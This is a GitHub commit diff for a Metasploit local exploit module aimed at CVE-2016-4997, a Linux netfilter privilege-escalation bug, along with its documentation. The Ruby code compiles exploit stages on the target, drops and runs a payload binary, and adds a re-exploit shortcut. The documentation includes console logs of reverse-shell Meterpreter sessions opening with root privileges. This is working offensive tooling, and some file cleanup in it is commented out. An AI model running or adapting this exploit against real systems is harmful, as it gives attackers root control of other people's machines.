Skip to content

Commit 4f85a11

Browse files
committed
reexploit and other docs and edits added
1 parent 4be4bcf commit 4f85a11

File tree

2 files changed

+152
-65
lines changed

2 files changed

+152
-65
lines changed

documentation/modules/exploit/linux/local/ubuntu_netfilter.md renamed to documentation/modules/exploit/linux/local/netfilter_priv_esc.md

Lines changed: 41 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22

33
Originally this module was written to drop the binary files on the target. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target.
44

5+
This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing.
6+
57
## Creating A Testing Environment
68

79
There are a few requirements for this module to work:
@@ -13,10 +15,14 @@ There are a few requirements for this module to work:
1315
This module has been tested against:
1416

1517
1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
18+
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
1619

17-
This module *should* work against
18-
19-
1. Ubuntu 16.04
20+
This does not work against the following vulnerable systems. Additional work may be required.
21+
22+
1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18)
23+
2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19)
24+
3. RHEL < [kernel-3.10.0-327.36.1.el7](https://rhn.redhat.com/errata/RHSA-2016-1847.html)
25+
4. Suse < [kernel-default-3.12.59-60.45.2](http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00060.html)
2026

2127
## Verification Steps
2228

@@ -37,6 +43,10 @@ This module *should* work against
3743

3844
A folder we can write files to. Defaults to /tmp
3945

46+
**REEXPLOIT**
47+
48+
When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell.
49+
4050
## Scenarios
4151

4252
### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
@@ -96,3 +106,31 @@ Escalate
96106

97107
meterpreter > getuid
98108
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
109+
110+
### Re-exploit
111+
112+
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
113+
114+
msf exploit(ubuntu_netfilter) > set reexploit true
115+
reexploit => true
116+
msf exploit(ubuntu_netfilter) > set session 2
117+
session => 2
118+
msf exploit(ubuntu_netfilter) > exploit
119+
120+
[*] Started reverse TCP handler on 172.20.14.188:4445
121+
[*] Checking if libc6-dev-i386 is installed
122+
[+] libc6-dev-i386 is installed
123+
[*] Checking if ip_tables.ko is loaded
124+
[+] ip_tables.ko is loaded
125+
[*] Checking if shem or sham are installed
126+
[+] shem and sham not present.
127+
[*] Writing payload to /tmp/OblBUbtc
128+
[*] Writing pwn executable to /tmp/u4PnMEdw.c
129+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
130+
[*] Sending stage (1495599 bytes) to 172.20.14.188
131+
[*] Meterpreter session 3 opened (172.20.14.188:4445 -> 172.20.14.188:40370) at 2016-09-17 13:35:57 -0400
132+
[+] Deleted /tmp/OblBUbtc
133+
[+] Deleted /tmp/u4PnMEdw.c
134+
[+] Deleted /tmp/u4PnMEdw
135+
[-] Exploit failed: Rex::TimeoutError Operation timed out.
136+
[*] Exploit completed, but no session was created.

modules/exploits/linux/local/ubuntu_netfilter.rb renamed to modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 111 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -14,12 +14,13 @@ class MetasploitModule < Msf::Exploit::Local
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'Ubuntu Netfilter Privilege Escalation',
17+
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
1818
'Description' => %q{
19-
This module attempts to exploit a netfilter bug on Ubuntu 16.04 (not 16.04.1) with kernel
19+
This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
20+
only works against Ubuntu 16.04 (not 16.04.1) with kernel
2021
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
21-
1. ip_tables.ko has to be loaded (root running iptables -L will do such)
22-
2. libc6-dev-i386 needs to be installed to compile
22+
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
23+
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
2324
Kernel 4.4.0-31-generic and newer are not vulnerable.
2425
2526
We write the ascii files and compile on target instead of locally since metasm bombs for not
@@ -35,18 +36,24 @@ def initialize(info = {})
3536
'Platform' => [ 'linux'],
3637
'Arch' => [ ARCH_X86 ],
3738
'SessionTypes' => [ 'shell', 'meterpreter' ],
38-
'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
39+
'Targets' =>
40+
[
41+
[ 'Ubuntu', { } ]
42+
#[ 'Fedora', { } ]
43+
],
3944
'DefaultTarget' => 0,
4045
'References' =>
4146
[
4247
[ 'EDB', '40049'],
43-
[ 'CVE', '2016-4997']
48+
[ 'CVE', '2016-4997'],
49+
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
4450
]
4551
))
4652
register_options(
4753
[
4854
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
49-
OptString.new('MAXWAIT', [ true, 'Max time to wait for decrementation in seconds', 120 ])
55+
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
56+
OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
5057
], self.class)
5158
end
5259

@@ -55,27 +62,56 @@ def iptables_loaded?()
5562
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
5663
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
5764
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
58-
vprint_status('Checking if ip_tables.ko is loaded')
59-
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
60-
if iptables.include?('ip_tables')
61-
vprint_good('ip_tables.ko is loaded')
65+
vprint_status('Checking if ip_tables is loaded in kernel')
66+
if target.name == "Ubuntu"
67+
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
68+
if iptables.include?('ip_tables')
69+
vprint_good('ip_tables.ko is loaded')
70+
else
71+
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
72+
end
73+
return iptables.include?('ip_tables')
74+
elsif target.name == "Fedora"
75+
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
76+
if iptables.include?('iptable_raw')
77+
vprint_good('iptable_raw is loaded')
78+
else
79+
print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
80+
end
81+
return iptables.include?('iptable_raw')
6282
else
63-
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
83+
return false
6484
end
65-
return iptables.include?('ip_tables')
6685
end
6786

6887
def libs_installed?()
6988
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
7089
# libc6-dev-i386 install
71-
vprint_status('Checking if libc6-dev-i386 is installed')
72-
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
73-
if lib.include?('install')
74-
vprint_good('libc6-dev-i386 is installed')
90+
vprint_status('Checking if 32bit C libraries are installed')
91+
if target.name == "Ubuntu"
92+
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
93+
if lib.include?('install')
94+
vprint_good('libc6-dev-i386 is installed')
95+
else
96+
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
97+
end
98+
return lib.include?('install')
99+
elsif target.name == "Fedora"
100+
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
101+
if lib.include?('glibc')
102+
vprint_good('glibc-devel.i686 is installed')
103+
else
104+
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
105+
end
106+
if lib.include?('libgcc')
107+
vprint_good('libgcc.i686 is installed')
108+
else
109+
print_error('libgcc.i686 is not installed. Compiling will fail.')
110+
end
111+
return (lib.include?('glibc') and lib.include?('libgcc'))
75112
else
76-
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
113+
return false
77114
end
78-
return lib.include?('install')
79115
end
80116

81117
def shemsham_installed?()
@@ -85,7 +121,7 @@ def shemsham_installed?()
85121
if shemsham.include?('shem')
86122
print_error('shem installed, system not vulnerable.')
87123
elsif shemsham.include?('sham')
88-
print_error('shem installed, system not vulnerable.')
124+
print_error('sham installed, system not vulnerable.')
89125
else
90126
vprint_good('shem and sham not present.')
91127
end
@@ -282,51 +318,64 @@ def exploit
282318
if check != CheckCode::Appears
283319
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
284320
end
285-
286-
print_status "Writing desc executable to #{desc_file}.c"
287-
rm_f env_ready_file
288-
rm_f "#{desc_file}.c"
289-
rm_f desc_file
290-
write_file("#{desc_file}.c", decr)
291-
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
292-
293-
register_file_for_cleanup(env_ready_file)
294-
register_file_for_cleanup("#{desc_file}.c")
295-
register_file_for_cleanup(desc_file)
296-
if not file_exist?(desc_file)
297-
vprint_error("gcc failure output: #{output}")
298-
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
321+
322+
def pwn(payload_path, pwn_file, pwn)
323+
# lets write our payload since everythings set for priv esc
324+
vprint_status("Writing payload to #{payload_path}")
325+
write_file(payload_path, generate_payload_exe)
326+
cmd_exec("chmod 555 #{payload_path}")
327+
#register_file_for_cleanup(payload_path)
328+
329+
# now lets drop part 2, and finish up.
330+
print_status "Writing pwn executable to #{pwn_file}.c"
331+
rm_f pwn_file
332+
rm_f "#{pwn_file}.c"
333+
write_file("#{pwn_file}.c", pwn)
334+
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
335+
#register_file_for_cleanup("#{pwn_file}.c")
336+
#register_file_for_cleanup(pwn_file)
337+
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
299338
end
300-
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
301-
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
302-
sec_waited = 0
303-
304-
until sec_waited > datastore['MAXWAIT'] do
305-
Rex.sleep(1)
306-
if sec_waited % 10 == 0
307-
vprint_status("Waited #{sec_waited}s so far")
308-
end
309339

310-
if file_exist?(env_ready_file)
311-
print_good("desc finished, env ready.")
312-
# lets write our payload since everythings set for priv esc
313-
vprint_status("Writing payload to #{payload_path}")
314-
write_file(payload_path, generate_payload_exe)
315-
cmd_exec("chmod 555 #{payload_path}")
316-
register_file_for_cleanup(payload_path)
317-
318-
# now lets drop part 2, and finish up.
319-
print_status "Writing pwn executable to #{pwn_file}.c"
320-
rm_f pwn_file
321-
rm_f "#{pwn_file}.c"
322-
write_file("#{pwn_file}.c", pwn)
323-
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
324-
register_file_for_cleanup("#{pwn_file}.c")
325-
register_file_for_cleanup(pwn_file)
326-
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
327-
return
340+
# check for shortcut
341+
if datastore['REEXPLOIT']
342+
pwn(payload_path, pwn_file, pwn)
343+
else
344+
print_status "Writing desc executable to #{desc_file}.c"
345+
rm_f env_ready_file
346+
rm_f "#{desc_file}.c"
347+
rm_f desc_file
348+
write_file("#{desc_file}.c", decr)
349+
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
350+
351+
register_file_for_cleanup(env_ready_file)
352+
register_file_for_cleanup("#{desc_file}.c")
353+
register_file_for_cleanup(desc_file)
354+
if not file_exist?(desc_file)
355+
vprint_error("gcc failure output: #{output}")
356+
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
357+
end
358+
if target.name == "Ubuntu"
359+
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
360+
elsif target.name == "Fedora"
361+
vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
362+
end
363+
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
364+
sec_waited = 0
365+
366+
until sec_waited > datastore['MAXWAIT'] do
367+
Rex.sleep(1)
368+
if sec_waited % 10 == 0
369+
vprint_status("Waited #{sec_waited}s so far")
370+
end
371+
372+
if file_exist?(env_ready_file)
373+
print_good("desc finished, env ready.")
374+
pwn(payload_path, pwn_file, pwn)
375+
return
376+
end
377+
sec_waited +=1
328378
end
329-
sec_waited +=1
330379
end
331380
end
332381
end

0 commit comments

Comments
 (0)